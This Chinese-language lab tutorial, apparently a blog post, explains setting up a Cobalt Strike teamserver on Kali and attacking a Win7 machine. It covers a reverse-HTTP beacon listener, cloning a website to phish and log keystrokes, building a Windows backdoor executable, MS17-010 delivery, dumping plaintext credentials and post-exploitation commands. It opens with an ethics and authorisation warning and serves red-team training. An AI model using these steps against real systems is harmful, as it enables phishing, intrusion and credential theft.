★关于道德伦理的忠告★
关于一些网络安全实战内容，我还是不厌其烦的写上这些忠告，请见谅。
以下内容摘自《Metasploit渗透测试指南》
作为一名渗透测试者，我们可以击败安全防御机制，但这是仅仅是我们工作的一部分。当你进行渗透攻击时，请记住如下的忠告：
- 不要进行恶意的攻击；
- 不要做傻事；
- 在没有获得书面授权时，不要攻击任何目标；
- 考虑你的行为将会带来的后果；
- 如果你干了些非法的事情，天网恢恢疏而不漏，你总会被抓到牢里的。
1、CS简介
Cobalt Strike一款以由美国redteam团队，研发出来的一款以Metasploit为基础的GUI框架式渗透测试工具。它是一款基于java的渗透测试神器， 常被业界人称为CS， 也被戏称为“线上多人运动平台 ” 。
Cobalt Strike集成了端口转发、 扫描多模式端口Listener、 Windows exe程序生成、Windows dll动态链接库生成、java程序生成、 office宏代码生成， 包括站点克隆获取浏览器的相关信息等。
CS使用了C/S架构，分为客户端和服务端， 服务端只要一个，客户端可有多个，多人连接服务端后可协同测试，与其他人分享shell。C/S结构通常采取两层结构。 服务器负责数据的管理， 客户机负责完成与用户的交互任务。前提需要知道IP和密码。
2、搭建cs服务器
2.1、实验环境
kali-linux系统，IP：192.168.242.4
win7系统，IP：192.168.242.6
2.2、复制并解压cs包
可以先在自己本机上解压cobal_strike_4.5.zip后复制到kali系统，或压缩包直接复制到kali系统，再用解压。
注意：解压完看下，是不是10个文件/文件夹，如果不等于10个，文件包可能损坏或异常。
2.3、给cs文件目录权限
# 切换到目录coablt_strike_4.5
cd coablt_strike_4.5
# 赋与读写权限
chmod 777 *
# 确认权限是否赋与
ll
# 结果与预期值一致
总用量 33864
-rwxrwxrwx 1 777 kali 257 6月 9 2022 agscript
-rwxrwxrwx 1 777 kali 220 6月 9 2022 c2lint
-rwxrwxrwx 1 777 kali 214 6月 9 2022 cobaltstrike
-rwxrwxrwx 1 777 kali 165 6月 9 2022 cobaltstrike.bat
-rwxrwxrwx 1 777 kali 33842513 4月 30 2022 cobaltstrike.jar
-rwxrwxrwx 1 777 kali 791099 6月 9 2022 CSAgent.jar
-rwxrwxrwx 1 777 kali 217 6月 9 2022 peclone
drwxrwxrwx 2 777 kali 4096 9月 10 09:51 resources
drwxrwxrwx 2 777 kali 4096 9月 10 09:51 scripts
-rwxrwxrwx 1 777 kali 1981 6月 9 2022 teamserver2.4、启动服务
# cs 设置ip，密码， ip为kali系统的ip
./teamserver 192.168.242.4 123
# 启动成功的信息
[*] Will use existing X509 certificate and keystore (for SSL)
[+] Team server is up on 0.0.0.0:50050
[*] SHA256 hash of SSL cert is: 794e7a6fe6e6386d1621e4c98df30be2e426db3491ebfad99eb3fede3030b73d2.5、客户端运行CS
注意：新开一个控制台，一样切换到root用户角色，sudo su，输入密码
# 切换到目录coablt_strike_4.5
cd coablt_strike_4.5
# 执行命令
./cobaltstrike 弹出连接界面，如下：
各项说明
别名：可以随意设置
主机：IP为服务器（kali）的IP
端口：在CS启动的时候可以看见端口号：50050
用户：为登录之后给别人看的名字，任意写
密码：为之前设置的密码，123点连接，成功界面如下：
3、生成克隆钓鱼网站
3.1、建立监听器
在CS客户端可视化界面操作，步骤：点击左上方CobaltStrike选项——>在下拉 框中选择 监听器——>在下方弹出区域 中点击添加
点击添加后，设置监听端口参数
添加成功
在CS服务端的会出现1行结果
[*] Payload is 'windows/beacon_http/reverse_http' and {proxy=, payload=windows/beacon_http/reverse_http, port=80, profile=default, name=listen01, host=192.168.242.4, althost=, strategy=round-robin, maxretry=none, beacons=192.168.242.6, bindto=}
[*] Finalized: aggressor.dialogs.ScListenerDialog
[*] Finalized: aggressor.dialogs.ScListenerDialog3.2、网站克隆
点击攻击选项，选择Web钓鱼--->网站克隆
克隆Url: http://xxx（注意：只能克隆http的网站，克隆不了https是有安全加密的网站）
克隆成功
3.3、添加web日志
任意敲击键盘，通过访问视图的web日志选项，可以知道键盘监听的结果。
在win7系统访问：http://192.168.242.4:80/ ，并输入内容
kali系统查看web日志
4、生成木马进行后渗透
4.1、生成windows可执行程序
操作步骤：选择攻击模块--生成后门--下面的 windows可执行程序。
4.2、选择监听器
选择监听器，并且勾选下面的使用64 payload
注意：新增一个监听器，端口不要使用80，其他没使用的端口即可，这里使用8081
4.3、生成木马
生成成功
4.4、win7运行看效果
先把上面制作的木马程序复制到本机，再复制到win7系统，然后双击木马，然后CS就会显示上线了。注意要关闭杀毒软件和防火墙。
另外一种方式：就是利用win7漏洞ms17-010攻击，然后使用upload命令上传到win7系统。
win7系统看任务管理器已经有运行木马程序了
4.5、kali系统出现靶机
kali系统的CS-web日志，增加记录，在列表出现靶机
4.5.1、与靶机命令交互
右键点击上线的靶机，选择会话交互，进入命令模式
4.5.2、修改会话回连间隔
右键点击上线的靶机，将会话操作中的回连间隔改为0
4.5.3、凭证提权
右键点击凭证提权——>抓取明文密码，获取靶机的用户名和密码，之后可进行远程桌面连接
4.5.4、执行系统命令
desktop #远程VNC（虚拟网络控制台）
sleep x #设置睡眠延迟时间
pwd #当前目录位置
ls #列出当前目录下的文件
screenshot #屏幕截图
shell whoami #当前登录到系统的用户名称
点击工具栏的屏幕截图按钮，可以查看执行screenshot截图命令后截取的靶机的图片
